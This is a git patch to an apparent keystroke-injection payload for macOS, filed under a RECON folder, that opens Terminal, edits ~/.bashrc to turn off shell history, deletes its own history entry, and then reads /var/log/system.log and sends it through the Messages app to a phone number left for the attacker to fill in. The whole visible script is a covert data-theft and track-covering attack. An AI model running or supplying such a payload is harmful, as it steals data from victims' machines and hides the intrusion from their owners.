From 7f746d134e37932726edcc969660f7005fa3de3e Mon Sep 17 00:00:00 2001 From: Narsty Date: Fri, 23 Jun 2023 20:09:38 -0500 Subject: [PATCH] Update macOS System Log to iPhone.txt --- RECON/ macOS System Log to iPhone.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/RECON/ macOS System Log to iPhone.txt b/RECON/ macOS System Log to iPhone.txt index 70d587f..0c44349 100644 --- a/RECON/ macOS System Log to iPhone.txt +++ b/RECON/ macOS System Log to iPhone.txt @@ -18,8 +18,7 @@ STRING terminal DELAY 1000 ENTER DELAY 500 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash -history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') ENTER DELAY 500 STRING x=$(cat /var/log/system.log); osascript -e 'tell application "Messages" to send "'$x'" to buddy "ENTER PHONE NUMBER HERE"'